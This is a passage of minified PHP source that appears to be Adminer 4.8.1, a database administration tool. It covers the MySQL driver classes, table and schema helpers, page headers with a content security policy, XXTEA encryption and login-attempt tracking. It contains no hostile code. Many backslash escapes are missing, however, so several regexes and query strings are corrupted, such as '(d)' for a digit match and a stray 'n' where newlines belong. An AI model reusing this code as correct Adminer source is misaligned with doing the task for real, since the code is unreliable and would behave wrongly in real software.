true;parent::set_charset('utf8');return$this->query("SET NAMES $ab");}function
result($G,$o=0){$H=$this->query($G);if(!$H)return
false;$J=$H->fetch_array();return$J[$o];}function
quote($P){return"'".$this->escape_string($P)."'";}}}elseif(extension_loaded("mysql")&&!((ini_bool("sql.safe_mode")||ini_bool("mysql.allow_local_infile"))&&extension_loaded("pdo_mysql"))){class
Min_DB{var$extension="MySQL",$server_info,$affected_rows,$errno,$error,$_link,$_result;function
connect($M,$V,$F){if(ini_bool("mysql.allow_local_infile")){$this->error=lang(79,"'mysql.allow_local_infile'","MySQLi","PDO_MySQL");return
false;}$this->_link=@mysql_connect(($M!=""?$M:ini_get("mysql.default_host")),("$M$V"!=""?$V:ini_get("mysql.default_user")),("$M$V$F"!=""?$F:ini_get("mysql.default_password")),true,131072);if($this->_link)$this->server_info=mysql_get_server_info($this->_link);else$this->error=mysql_error();return(bool)$this->_link;}function
set_charset($ab){if(function_exists('mysql_set_charset')){if(mysql_set_charset($ab,$this->_link))return
true;mysql_set_charset('utf8',$this->_link);}return$this->query("SET NAMES $ab");}function
quote($P){return"'".mysql_real_escape_string($P,$this->_link)."'";}function
select_db($j){return
mysql_select_db($j,$this->_link);}function
query($G,$Ei=false){$H=@($Ei?mysql_unbuffered_query($G,$this->_link):mysql_query($G,$this->_link));$this->error="";if(!$H){$this->errno=mysql_errno($this->_link);$this->error=mysql_error($this->_link);return
false;}if($H===true){$this->affected_rows=mysql_affected_rows($this->_link);$this->info=mysql_info($this->_link);return
true;}return
new
Min_Result($H);}function
multi_query($G){return$this->_result=$this->query($G);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
result($G,$o=0){$H=$this->query($G);if(!$H||!$H->num_rows)return
false;return
mysql_result($H->_result,0,$o);}}class
Min_Result{var$num_rows,$_result,$_offset=0;function
__construct($H){$this->_result=$H;$this->num_rows=mysql_num_rows($H);}function
fetch_assoc(){return
mysql_fetch_assoc($this->_result);}function
fetch_row(){return
mysql_fetch_row($this->_result);}function
fetch_field(){$I=mysql_fetch_field($this->_result,$this->_offset++);$I->orgtable=$I->table;$I->orgname=$I->name;$I->charsetnr=($I->blob?63:0);return$I;}function
__destruct(){mysql_free_result($this->_result);}}}elseif(extension_loaded("pdo_mysql")){class
Min_DB
extends
Min_PDO{var$extension="PDO_MySQL";function
connect($M,$V,$F){global$b;$_f=array(PDO::MYSQL_ATTR_LOCAL_INFILE=>false);$Eh=$b->connectSsl();if($Eh){if(!empty($Eh['key']))$_f[PDO::MYSQL_ATTR_SSL_KEY]=$Eh['key'];if(!empty($Eh['cert']))$_f[PDO::MYSQL_ATTR_SSL_CERT]=$Eh['cert'];if(!empty($Eh['ca']))$_f[PDO::MYSQL_ATTR_SSL_CA]=$Eh['ca'];}$this->dsn("mysql:charset=utf8;host=".str_replace(":",";unix_socket=",preg_replace('~:(d)~',';port=1',$M)),$V,$F,$_f);return
true;}function
set_charset($ab){$this->query("SET NAMES $ab");}function
select_db($j){return$this->query("USE ".idf_escape($j));}function
query($G,$Ei=false){$this->pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY,!$Ei);return
parent::query($G,$Ei);}}}class
Min_Driver
extends
Min_SQL{function
insert($Q,$N){return($N?parent::insert($Q,$N):queries("INSERT INTO ".table($Q)." ()nVALUES ()"));}function
insertUpdate($Q,$K,$ng){$e=array_keys(reset($K));$lg="INSERT INTO ".table($Q)." (".implode(", ",$e).") VALUESn";$Wi=array();foreach($e
as$z)$Wi[$z]="$z = VALUES($z)";$Mh="nON DUPLICATE KEY UPDATE ".implode(", ",$Wi);$Wi=array();$we=0;foreach($K
as$N){$Y="(".implode(", ",$N).")";if($Wi&&(strlen($lg)+$we+strlen($Y)+strlen($Mh)>1e6)){if(!queries($lg.implode(",n",$Wi).$Mh))return
false;$Wi=array();$we=0;}$Wi[]=$Y;$we+=strlen($Y)+2;}return
queries($lg.implode(",n",$Wi).$Mh);}function
slowQuery($G,$hi){if(min_version('5.7.8','10.1.2')){if(preg_match('~MariaDB~',$this->_conn->server_info))return"SET STATEMENT max_statement_time=$hi FOR $G";elseif(preg_match('~^(SELECTb)(.+)~is',$G,$C))return"$C[1] /*+ MAX_EXECUTION_TIME(".($hi*1000).") */ $C[2]";}}function
convertSearch($v,$X,$o){return(preg_match('~char|text|enum|set~',$o["type"])&&!preg_match("~^utf8~",$o["collation"])&&preg_match('~[x80-xFF]~',$X['val'])?"CONVERT($v USING ".charset($this->_conn).")":$v);}function
warnings(){$H=$this->_conn->query("SHOW WARNINGS");if($H&&$H->num_rows){ob_start();select($H);return
ob_get_clean();}}function
tableHelp($D){$Ce=preg_match('~MariaDB~',$this->_conn->server_info);if(information_schema(DB))return
strtolower(($Ce?"information-schema-$D-table/":str_replace("_","-",$D)."-table.html"));if(DB=="mysql")return($Ce?"mysql$D-table/":"system-database.html");}}function
idf_escape($v){return"`".str_replace("`","``",$v)."`";}function
table($v){return
idf_escape($v);}function
connect(){global$b,$U,$Jh;$g=new
Min_DB;$Mb=$b->credentials();if($g->connect($Mb[0],$Mb[1],$Mb[2])){$g->set_charset(charset($g));$g->query("SET sql_quote_show_create = 1, autocommit = 1");if(min_version('5.7.8',10.2,$g)){$Jh[lang(25)][]="json";$U["json"]=4294967295;}return$g;}$I=$g->error;if(function_exists('iconv')&&!is_utf8($I)&&strlen($ah=iconv("windows-1250","utf-8",$I))>strlen($I))$I=$ah;return$I;}function
get_databases($fd){$I=get_session("dbs");if($I===null){$G=(min_version(5)?"SELECT SCHEMA_NAME FROM information_schema.SCHEMATA ORDER BY SCHEMA_NAME":"SHOW DATABASES");$I=($fd?slow_query($G):get_vals($G));restart_session();set_session("dbs",$I);stop_session();}return$I;}function
limit($G,$Z,$_,$kf=0,$kh=" "){return" $G$Z".($_!==null?$kh."LIMIT $_".($kf?" OFFSET $kf":""):"");}function
limit1($Q,$G,$Z,$kh="n"){return
limit($G,$Z,1,0,$kh);}function
db_collation($l,$nb){global$g;$I=null;$i=$g->result("SHOW CREATE DATABASE ".idf_escape($l),1);if(preg_match('~ COLLATE ([^ ]+)~',$i,$C))$I=$C[1];elseif(preg_match('~ CHARACTER SET ([^ ]+)~',$i,$C))$I=$nb[$C[1]][-1];return$I;}function
engines(){$I=array();foreach(get_rows("SHOW ENGINES")as$J){if(preg_match("~YES|DEFAULT~",$J["Support"]))$I[]=$J["Engine"];}return$I;}function
logged_user(){global$g;return$g->result("SELECT USER()");}function
tables_list(){return
get_key_vals(min_version(5)?"SELECT TABLE_NAME, TABLE_TYPE FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() ORDER BY TABLE_NAME":"SHOW TABLES");}function
count_tables($k){$I=array();foreach($k
as$l)$I[$l]=count(get_vals("SHOW TABLES IN ".idf_escape($l)));return$I;}function
table_status($D="",$Uc=false){$I=array();foreach(get_rows($Uc&&min_version(5)?"SELECT TABLE_NAME AS Name, ENGINE AS Engine, TABLE_COMMENT AS Comment FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() ".($D!=""?"AND TABLE_NAME = ".q($D):"ORDER BY Name"):"SHOW TABLE STATUS".($D!=""?" LIKE ".q(addcslashes($D,"%_\")):""))as$J){if($J["Engine"]=="InnoDB")$J["Comment"]=preg_replace('~(?:(.+); )?InnoDB free: .*~','1',$J["Comment"]);if(!isset($J["Engine"]))$J["Comment"]="";if($D!="")return$J;$I[$J["Name"]]=$J;}return$I;}function
is_view($R){return$R["Engine"]===null;}function
fk_support($R){return
preg_match('~InnoDB|IBMDB2I~i',$R["Engine"])||(preg_match('~NDB~i',$R["Engine"])&&min_version(5.6));}function
fields($Q){$I=array();foreach(get_rows("SHOW FULL COLUMNS FROM ".table($Q))as$J){preg_match('~^([^( ]+)(?:((.+)))?( unsigned)?( zerofill)?$~',$J["Type"],$C);$I[$J["Field"]]=array("field"=>$J["Field"],"full_type"=>$J["Type"],"type"=>$C[1],"length"=>$C[2],"unsigned"=>ltrim($C[3].$C[4]),"default"=>($J["Default"]!=""||preg_match("~char|set~",$C[1])?(preg_match('~text~',$C[1])?stripslashes(preg_replace("~^'(.*)'$~",'1',$J["Default"])):$J["Default"]):null),"null"=>($J["Null"]=="YES"),"auto_increment"=>($J["Extra"]=="auto_increment"),"on_update"=>(preg_match('~^on update (.+)~i',$J["Extra"],$C)?$C[1]:""),"collation"=>$J["Collation"],"privileges"=>array_flip(preg_split('~, *~',$J["Privileges"])),"comment"=>$J["Comment"],"primary"=>($J["Key"]=="PRI"),"generated"=>preg_match('~^(VIRTUAL|PERSISTENT|STORED)~',$J["Extra"]),);}return$I;}function
indexes($Q,$h=null){$I=array();foreach(get_rows("SHOW INDEX FROM ".table($Q),$h)as$J){$D=$J["Key_name"];$I[$D]["type"]=($D=="PRIMARY"?"PRIMARY":($J["Index_type"]=="FULLTEXT"?"FULLTEXT":($J["Non_unique"]?($J["Index_type"]=="SPATIAL"?"SPATIAL":"INDEX"):"UNIQUE")));$I[$D]["columns"][]=$J["Column_name"];$I[$D]["lengths"][]=($J["Index_type"]=="SPATIAL"?null:$J["Sub_part"]);$I[$D]["descs"][]=null;}return$I;}function
foreign_keys($Q){global$g,$sf;static$cg='(?:`(?:[^`]|``)+`|"(?:[^"]|"")+")';$I=array();$Kb=$g->result("SHOW CREATE TABLE ".table($Q),1);if($Kb){preg_match_all("~CONSTRAINT ($cg) FOREIGN KEY ?\(((?:$cg,? ?)+)\) REFERENCES ($cg)(?:\.($cg))? \(((?:$cg,? ?)+)\)(?: ON DELETE ($sf))?(?: ON UPDATE ($sf))?~",$Kb,$Fe,PREG_SET_ORDER);foreach($Fe
as$C){preg_match_all("~$cg~",$C[2],$yh);preg_match_all("~$cg~",$C[5],$Zh);$I[idf_unescape($C[1])]=array("db"=>idf_unescape($C[4]!=""?$C[3]:$C[4]),"table"=>idf_unescape($C[4]!=""?$C[4]:$C[3]),"source"=>array_map('idf_unescape',$yh[0]),"target"=>array_map('idf_unescape',$Zh[0]),"on_delete"=>($C[6]?$C[6]:"RESTRICT"),"on_update"=>($C[7]?$C[7]:"RESTRICT"),);}}return$I;}function
view($D){global$g;return
array("select"=>preg_replace('~^(?:[^`]|`[^`]*`)*s+ASs+~isU','',$g->result("SHOW CREATE VIEW ".table($D),1)));}function
collations(){$I=array();foreach(get_rows("SHOW COLLATION")as$J){if($J["Default"])$I[$J["Charset"]][-1]=$J["Collation"];else$I[$J["Charset"]][]=$J["Collation"];}ksort($I);foreach($I
as$z=>$X)asort($I[$z]);return$I;}function
information_schema($l){return(min_version(5)&&$l=="information_schema")||(min_version(5.5)&&$l=="performance_schema");}function
error(){global$g;return
h(preg_replace('~^You have an error.*syntax to use~U',"Syntax error",$g->error));}function
create_database($l,$mb){return
queries("CREATE DATABASE ".idf_escape($l).($mb?" COLLATE ".q($mb):""));}function
drop_databases($k){$I=apply_queries("DROP DATABASE",$k,'idf_escape');restart_session();set_session("dbs",null);return$I;}function
rename_database($D,$mb){$I=false;if(create_database($D,$mb)){$S=array();$bj=array();foreach(tables_list()as$Q=>$T){if($T=='VIEW')$bj[]=$Q;else$S[]=$Q;}$I=(!$S&&!$bj)||move_tables($S,$bj,$D);drop_databases($I?array(DB):array());}return$I;}function
auto_increment(){$Ma=" PRIMARY KEY";if($_GET["create"]!=""&&$_POST["auto_increment_col"]){foreach(indexes($_GET["create"])as$w){if(in_array($_POST["fields"][$_POST["auto_increment_col"]]["orig"],$w["columns"],true)){$Ma="";break;}if($w["type"]=="PRIMARY")$Ma=" UNIQUE";}}return" AUTO_INCREMENT$Ma";}function
alter_table($Q,$D,$p,$hd,$tb,$_c,$mb,$La,$Wf){$c=array();foreach($p
as$o)$c[]=($o[1]?($Q!=""?($o[0]!=""?"CHANGE ".idf_escape($o[0]):"ADD"):" ")." ".implode($o[1]).($Q!=""?$o[2]:""):"DROP ".idf_escape($o[0]));$c=array_merge($c,$hd);$O=($tb!==null?" COMMENT=".q($tb):"").($_c?" ENGINE=".q($_c):"").($mb?" COLLATE ".q($mb):"").($La!=""?" AUTO_INCREMENT=$La":"");if($Q=="")return
queries("CREATE TABLE ".table($D)." (n".implode(",n",$c)."n)$O$Wf");if($Q!=$D)$c[]="RENAME TO ".table($D);if($O)$c[]=ltrim($O);return($c||$Wf?queries("ALTER TABLE ".table($Q)."n".implode(",n",$c).$Wf):true);}function
alter_indexes($Q,$c){foreach($c
as$z=>$X)$c[$z]=($X[2]=="DROP"?"nDROP INDEX ".idf_escape($X[1]):"nADD $X[0] ".($X[0]=="PRIMARY"?"KEY ":"").($X[1]!=""?idf_escape($X[1])." ":"")."(".implode(", ",$X[2]).")");return
queries("ALTER TABLE ".table($Q).implode(",",$c));}function
truncate_tables($S){return
apply_queries("TRUNCATE TABLE",$S);}function
drop_views($bj){return
queries("DROP VIEW ".implode(", ",array_map('table',$bj)));}function
drop_tables($S){return
queries("DROP TABLE ".implode(", ",array_map('table',$S)));}function
move_tables($S,$bj,$Zh){global$g;$Mg=array();foreach($S
as$Q)$Mg[]=table($Q)." TO ".idf_escape($Zh).".".table($Q);if(!$Mg||queries("RENAME TABLE ".implode(", ",$Mg))){$bc=array();foreach($bj
as$Q)$bc[table($Q)]=view($Q);$g->select_db($Zh);$l=idf_escape(DB);foreach($bc
as$D=>$aj){if(!queries("CREATE VIEW $D AS ".str_replace(" $l."," ",$aj["select"]))||!queries("DROP VIEW $l.$D"))return
false;}return
true;}return
false;}function
copy_tables($S,$bj,$Zh){queries("SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO'");foreach($S
as$Q){$D=($Zh==DB?table("copy_$Q"):idf_escape($Zh).".".table($Q));if(($_POST["overwrite"]&&!queries("nDROP TABLE IF EXISTS $D"))||!queries("CREATE TABLE $D LIKE ".table($Q))||!queries("INSERT INTO $D SELECT * FROM ".table($Q)))return
false;foreach(get_rows("SHOW TRIGGERS LIKE ".q(addcslashes($Q,"%_\")))as$J){$zi=$J["Trigger"];if(!queries("CREATE TRIGGER ".($Zh==DB?idf_escape("copy_$zi"):idf_escape($Zh).".".idf_escape($zi))." $J[Timing] $J[Event] ON $D FOR EACH ROWn$J[Statement];"))return
false;}}foreach($bj
as$Q){$D=($Zh==DB?table("copy_$Q"):idf_escape($Zh).".".table($Q));$aj=view($Q);if(($_POST["overwrite"]&&!queries("DROP VIEW IF EXISTS $D"))||!queries("CREATE VIEW $D AS $aj[select]"))return
false;}return
true;}function
trigger($D){if($D=="")return
array();$K=get_rows("SHOW TRIGGERS WHERE `Trigger` = ".q($D));return
reset($K);}function
triggers($Q){$I=array();foreach(get_rows("SHOW TRIGGERS LIKE ".q(addcslashes($Q,"%_\")))as$J)$I[$J["Trigger"]]=array($J["Timing"],$J["Event"]);return$I;}function
trigger_options(){return
array("Timing"=>array("BEFORE","AFTER"),"Event"=>array("INSERT","UPDATE","DELETE"),"Type"=>array("FOR EACH ROW"),);}function
routine($D,$T){global$g,$Bc,$Vd,$U;$Ca=array("bool","boolean","integer","double precision","real","dec","numeric","fixed","national char","national varchar");$zh="(?:\s|/\*[sS]*?\*/|(?:#|-- )[^n]*n?|--r?n)";$Di="((".implode("|",array_merge(array_keys($U),$Ca)).")\b(?:\s*\(((?:[^'")]|$Bc)++)\))?\s*(zerofill\s*)?(unsigned(?:\s+zerofill)?)?)(?:\s*(?:CHARSET|CHARACTER\s+SET)\s*['"]?([^'"\s,]+)['"]?)?";$cg="$zh*(".($T=="FUNCTION"?"":$Vd).")?\s*(?:`((?:[^`]|``)*)`\s*|\b(\S+)\s+)$Di";$i=$g->result("SHOW CREATE $T ".idf_escape($D),2);preg_match("~\(((?:$cg\s*,?)*)\)\s*".($T=="FUNCTION"?"RETURNS\s+$Di\s+":"")."(.*)~is",$i,$C);$p=array();preg_match_all("~$cg\s*,?~is",$C[1],$Fe,PREG_SET_ORDER);foreach($Fe
as$Qf)$p[]=array("field"=>str_replace("``","`",$Qf[2]).$Qf[3],"type"=>strtolower($Qf[5]),"length"=>preg_replace_callback("~$Bc~s",'normalize_enum',$Qf[6]),"unsigned"=>strtolower(preg_replace('~s+~',' ',trim("$Qf[8] $Qf[7]"))),"null"=>1,"full_type"=>$Qf[4],"inout"=>strtoupper($Qf[1]),"collation"=>strtolower($Qf[9]),);if($T!="FUNCTION")return
array("fields"=>$p,"definition"=>$C[11]);return
array("fields"=>$p,"returns"=>array("type"=>$C[12],"length"=>$C[13],"unsigned"=>$C[15],"collation"=>$C[16]),"definition"=>$C[17],"language"=>"SQL",);}function
routines(){return
get_rows("SELECT ROUTINE_NAME AS SPECIFIC_NAME, ROUTINE_NAME, ROUTINE_TYPE, DTD_IDENTIFIER FROM information_schema.ROUTINES WHERE ROUTINE_SCHEMA = ".q(DB));}function
routine_languages(){return
array();}function
routine_id($D,$J){return
idf_escape($D);}function
last_id(){global$g;return$g->result("SELECT LAST_INSERT_ID()");}function
explain($g,$G){return$g->query("EXPLAIN ".(min_version(5.1)&&!min_version(5.7)?"PARTITIONS ":"").$G);}function
found_rows($R,$Z){return($Z||$R["Engine"]!="InnoDB"?null:$R["Rows"]);}function
types(){return
array();}function
schemas(){return
array();}function
get_schema(){return"";}function
set_schema($ch,$h=null){return
true;}function
create_sql($Q,$La,$Kh){global$g;$I=$g->result("SHOW CREATE TABLE ".table($Q),1);if(!$La)$I=preg_replace('~ AUTO_INCREMENT=d+~','',$I);return$I;}function
truncate_sql($Q){return"TRUNCATE ".table($Q);}function
use_sql($j){return"USE ".idf_escape($j);}function
trigger_sql($Q){$I="";foreach(get_rows("SHOW TRIGGERS LIKE ".q(addcslashes($Q,"%_\")),null,"-- ")as$J)$I.="nCREATE TRIGGER ".idf_escape($J["Trigger"])." $J[Timing] $J[Event] ON ".table($J["Table"])." FOR EACH ROWn$J[Statement];;n";return$I;}function
show_variables(){return
get_key_vals("SHOW VARIABLES");}function
process_list(){return
get_rows("SHOW FULL PROCESSLIST");}function
show_status(){return
get_key_vals("SHOW STATUS");}function
convert_field($o){if(preg_match("~binary~",$o["type"]))return"HEX(".idf_escape($o["field"]).")";if($o["type"]=="bit")return"BIN(".idf_escape($o["field"])." + 0)";if(preg_match("~geometry|point|linestring|polygon~",$o["type"]))return(min_version(8)?"ST_":"")."AsWKT(".idf_escape($o["field"]).")";}function
unconvert_field($o,$I){if(preg_match("~binary~",$o["type"]))$I="UNHEX($I)";if($o["type"]=="bit")$I="CONV($I, 2, 10) + 0";if(preg_match("~geometry|point|linestring|polygon~",$o["type"]))$I=(min_version(8)?"ST_":"")."GeomFromText($I, SRID($o[field]))";return$I;}function
support($Vc){return!preg_match("~scheme|sequence|type|view_trigger|materializedview".(min_version(8)?"":"|descidx".(min_version(5.1)?"":"|event|partitioning".(min_version(5)?"":"|routine|trigger|view")))."~",$Vc);}function
kill_process($X){return
queries("KILL ".number($X));}function
connection_id(){return"SELECT CONNECTION_ID()";}function
max_connections(){global$g;return$g->result("SELECT @@max_connections");}function
driver_config(){$U=array();$Jh=array();foreach(array(lang(27)=>array("tinyint"=>3,"smallint"=>5,"mediumint"=>8,"int"=>10,"bigint"=>20,"decimal"=>66,"float"=>12,"double"=>21),lang(28)=>array("date"=>10,"datetime"=>19,"timestamp"=>19,"time"=>10,"year"=>4),lang(25)=>array("char"=>255,"varchar"=>65535,"tinytext"=>255,"text"=>65535,"mediumtext"=>16777215,"longtext"=>4294967295),lang(80)=>array("enum"=>65535,"set"=>64),lang(29)=>array("bit"=>20,"binary"=>255,"varbinary"=>65535,"tinyblob"=>255,"blob"=>65535,"mediumblob"=>16777215,"longblob"=>4294967295),lang(31)=>array("geometry"=>0,"point"=>0,"linestring"=>0,"polygon"=>0,"multipoint"=>0,"multilinestring"=>0,"multipolygon"=>0,"geometrycollection"=>0),)as$z=>$X){$U+=$X;$Jh[$z]=array_keys($X);}return
array('possible_drivers'=>array("MySQLi","MySQL","PDO_MySQL"),'jush'=>"sql",'types'=>$U,'structured_types'=>$Jh,'unsigned'=>array("unsigned","zerofill","unsigned zerofill"),'operators'=>array("=","<",">","<=",">=","!=","LIKE","LIKE %%","REGEXP","IN","FIND_IN_SET","IS NULL","NOT LIKE","NOT REGEXP","NOT IN","IS NOT NULL","SQL"),'functions'=>array("char_length","date","from_unixtime","lower","round","floor","ceil","sec_to_time","time_to_sec","upper"),'grouping'=>array("avg","count","count distinct","group_concat","max","min","sum"),'edit_functions'=>array(array("char"=>"md5/sha1/password/encrypt/uuid","binary"=>"md5/sha1","date|time"=>"now",),array(number_type()=>"+/-","date"=>"+ interval/- interval","time"=>"addtime/subtime","char|text"=>"concat",)),);}}$xb=driver_config();$kg=$xb['possible_drivers'];$y=$xb['jush'];$U=$xb['types'];$Jh=$xb['structured_types'];$Ki=$xb['unsigned'];$xf=$xb['operators'];$pd=$xb['functions'];$vd=$xb['grouping'];$sc=$xb['edit_functions'];if($b->operators===null)$b->operators=$xf;define("SERVER",$_GET[DRIVER]);define("DB",$_GET["db"]);define("ME",preg_replace('~?.*~','',relative_uri()).'?'.(sid()?SID.'&':'').(SERVER!==null?DRIVER."=".urlencode(SERVER).'&':'').(isset($_GET["username"])?"username=".urlencode($_GET["username"]).'&':'').(DB!=""?'db='.urlencode(DB).'&'.(isset($_GET["ns"])?"ns=".urlencode($_GET["ns"])."&":""):''));$ia="4.8.1";function
page_header($ji,$n="",$Va=array(),$ki=""){global$ca,$ia,$b,$kc,$y;page_headers();if(is_ajax()&&$n){page_messages($n);exit;}$li=$ji.($ki!=""?": $ki":"");$mi=strip_tags($li.(SERVER!=""&&SERVER!="localhost"?h(" - ".SERVER):"")." - ".$b->name());echo'<!DOCTYPE html>
<html lang="',$ca,'" dir="',lang(81),'">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="robots" content="noindex">
<title>',$mi,'</title>
<link rel="stylesheet" type="text/css" href="',h(preg_replace("~\?.*~","",ME)."?file=default.css&version=4.8.1"),'">
',script_src(preg_replace("~\?.*~","",ME)."?file=functions.js&version=4.8.1");if($b->head()){echo'<link rel="shortcut icon" type="image/x-icon" href="',h(preg_replace("~\?.*~","",ME)."?file=favicon.ico&version=4.8.1"),'">
<link rel="apple-touch-icon" href="',h(preg_replace("~\?.*~","",ME)."?file=favicon.ico&version=4.8.1"),'">
';foreach($b->css()as$Ob){echo'<link rel="stylesheet" type="text/css" href="',h($Ob),'">
';}}echo'
<body class="',lang(81),' nojs">
';$q=get_temp_dir()."/adminer.version";if(!$_COOKIE["adminer_version"]&&function_exists('openssl_verify')&&file_exists($q)&&filemtime($q)+86400>time()){$Zi=unserialize(file_get_contents($q));$wg="-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwqWOVuF5uw7/+Z70djoK
RlHIZFZPO0uYRezq90+7Amk+FDNd7KkL5eDve+vHRJBLAszF/7XKXe11xwliIsFs
DFWQlsABVZB3oisKCBEuI71J4kPH8dKGEWR9jDHFw3cWmoH3PmqImX6FISWbG3B8
h7FIx3jEaw5ckVPVTeo5JRm/1DZzJxjyDenXvBQ/6o9DgZKeNDgxwKzH+sw9/YCO
jHnq1cFpOIISzARlrHMa/43YfeNRAm/tsBXjSxembBPo7aQZLAWHmaj5+K19H10B
nCpz9Y++cipkVEiKRGih4ZEvjoFysEOdRLj6WiD/uUNky4xGeA6LaJqh5XpkFkcQ
fQIDAQAB
-----END PUBLIC KEY-----
";if(openssl_verify($Zi["version"],base64_decode($Zi["signature"]),$wg)==1)$_COOKIE["adminer_version"]=$Zi["version"];}echo'<script',nonce(),'>
mixin(document.body, {onkeydown: bodyKeydown, onclick: bodyClick',(isset($_COOKIE["adminer_version"])?"":", onload: partial(verifyVersion, '$ia', '".js_escape(ME)."', '".get_token()."')");?>});
document.body.className = document.body.className.replace(/ nojs/, ' js');
var offlineMessage = '<?php echo
js_escape(lang(82)),'';
var thousandsSeparator = '',js_escape(lang(5)),'';
</script>

<div id="help" class="jush-',$y,' jsonly hidden"></div>
',script("mixin(qs('#help'), {onmouseover: function () { helpOpen = 1; }, onmouseout: helpMouseout});"),'
<div id="content">
';if($Va!==null){$A=substr(preg_replace('~b(username|db|ns)=[^&]*&~','',ME),0,-1);echo'<p id="breadcrumb"><a href="'.h($A?$A:".").'">'.$kc[DRIVER].'</a> &raquo; ';$A=substr(preg_replace('~b(db|ns)=[^&]*&~','',ME),0,-1);$M=$b->serverName(SERVER);$M=($M!=""?$M:lang(34));if($Va===false)echo"$Mn";else{echo"<a href='".h($A)."' accesskey='1' title='Alt+Shift+1'>$M</a> &raquo; ";if($_GET["ns"]!=""||(DB!=""&&is_array($Va)))echo'<a href="'.h($A."&db=".urlencode(DB).(support("scheme")?"&ns=":"")).'">'.h(DB).'</a> &raquo; ';if(is_array($Va)){if($_GET["ns"]!="")echo'<a href="'.h(substr(ME,0,-1)).'">'.h($_GET["ns"]).'</a> &raquo; ';foreach($Va
as$z=>$X){$dc=(is_array($X)?$X[1]:h($X));if($dc!="")echo"<a href='".h(ME."$z=").urlencode(is_array($X)?$X[0]:$X)."'>$dc</a> &raquo; ";}}echo"$jin";}}echo"<h2>$li</h2>n","<div id='ajaxstatus' class='jsonly hidden'></div>n";restart_session();page_messages($n);$k=&get_session("dbs");if(DB!=""&&$k&&!in_array(DB,$k,true))$k=null;stop_session();define("PAGE_HEADER",1);}function
page_headers(){global$b;header("Content-Type: text/html; charset=utf-8");header("Cache-Control: no-cache");header("X-Frame-Options: deny");header("X-XSS-Protection: 0");header("X-Content-Type-Options: nosniff");header("Referrer-Policy: origin-when-cross-origin");foreach($b->csp()as$Nb){$Ad=array();foreach($Nb
as$z=>$X)$Ad[]="$z $X";header("Content-Security-Policy: ".implode("; ",$Ad));}$b->headers();}function
csp(){return
array(array("script-src"=>"'self' 'unsafe-inline' 'nonce-".get_nonce()."' 'strict-dynamic'","connect-src"=>"'self'","frame-src"=>"https://www.adminer.org","object-src"=>"'none'","base-uri"=>"'none'","form-action"=>"'self'",),);}function
get_nonce(){static$ef;if(!$ef)$ef=base64_encode(rand_string());return$ef;}function
page_messages($n){$Mi=preg_replace('~^[^?]*~','',$_SERVER["REQUEST_URI"]);$Re=$_SESSION["messages"][$Mi];if($Re){echo"<div class='message'>".implode("</div>n<div class='message'>",$Re)."</div>".script("messagesPrint();");unset($_SESSION["messages"][$Mi]);}if($n)echo"<div class='error'>$n</div>n";}function
page_footer($Ue=""){global$b,$qi;echo'</div>

';switch_lang();if($Ue!="auth"){echo'<form action="" method="post">
<p class="logout">
<input type="submit" name="logout" value="',lang(83),'" id="logout">
<input type="hidden" name="token" value="',$qi,'">
</p>
</form>
';}echo'<div id="menu">
';$b->navigation($Ue);echo'</div>
',script("setupSubmitHighlight(document);");}function
int32($Xe){while($Xe>=2147483648)$Xe-=4294967296;while($Xe<=-2147483649)$Xe+=4294967296;return(int)$Xe;}function
long2str($W,$dj){$ah='';foreach($W
as$X)$ah.=pack('V',$X);if($dj)return
substr($ah,0,end($W));return$ah;}function
str2long($ah,$dj){$W=array_values(unpack('V*',str_pad($ah,4*ceil(strlen($ah)/4),"")));if($dj)$W[]=strlen($ah);return$W;}function
xxtea_mx($pj,$oj,$Nh,$he){return
int32((($pj>>5&0x7FFFFFF)^$oj<<2)+(($oj>>3&0x1FFFFFFF)^$pj<<4))^int32(($Nh^$oj)+($he^$pj));}function
encrypt_string($Ih,$z){if($Ih=="")return"";$z=array_values(unpack("V*",pack("H*",md5($z))));$W=str2long($Ih,true);$Xe=count($W)-1;$pj=$W[$Xe];$oj=$W[0];$xg=floor(6+52/($Xe+1));$Nh=0;while($xg-->0){$Nh=int32($Nh+0x9E3779B9);$rc=$Nh>>2&3;for($Of=0;$Of<$Xe;$Of++){$oj=$W[$Of+1];$We=xxtea_mx($pj,$oj,$Nh,$z[$Of&3^$rc]);$pj=int32($W[$Of]+$We);$W[$Of]=$pj;}$oj=$W[0];$We=xxtea_mx($pj,$oj,$Nh,$z[$Of&3^$rc]);$pj=int32($W[$Xe]+$We);$W[$Xe]=$pj;}return
long2str($W,false);}function
decrypt_string($Ih,$z){if($Ih=="")return"";if(!$z)return
false;$z=array_values(unpack("V*",pack("H*",md5($z))));$W=str2long($Ih,false);$Xe=count($W)-1;$pj=$W[$Xe];$oj=$W[0];$xg=floor(6+52/($Xe+1));$Nh=int32($xg*0x9E3779B9);while($Nh){$rc=$Nh>>2&3;for($Of=$Xe;$Of>0;$Of--){$pj=$W[$Of-1];$We=xxtea_mx($pj,$oj,$Nh,$z[$Of&3^$rc]);$oj=int32($W[$Of]-$We);$W[$Of]=$oj;}$pj=$W[$Xe];$We=xxtea_mx($pj,$oj,$Nh,$z[$Of&3^$rc]);$oj=int32($W[0]-$We);$W[0]=$oj;$Nh=int32($Nh-0x9E3779B9);}return
long2str($W,true);}$g='';$_d=$_SESSION["token"];if(!$_d)$_SESSION["token"]=rand(1,1e6);$qi=get_token();$eg=array();if($_COOKIE["adminer_permanent"]){foreach(explode(" ",$_COOKIE["adminer_permanent"])as$X){list($z)=explode(":",$X);$eg[$z]=$X;}}function
add_invalid_login(){global$b;$nd=file_open_lock(get_temp_dir()."/adminer.invalid");if(!$nd)return;$ae=unserialize(stream_get_contents($nd));$gi=time();if($ae){foreach($ae
as$be=>$X){if($X[0]<$gi)unset($ae[$be]);}}$Zd=&$ae[$b->bruteForceKey()];if(!$Zd)$Zd=array($gi+30*60,0);$Zd[1]++;file_write_unlock($nd,serialize($ae));}function
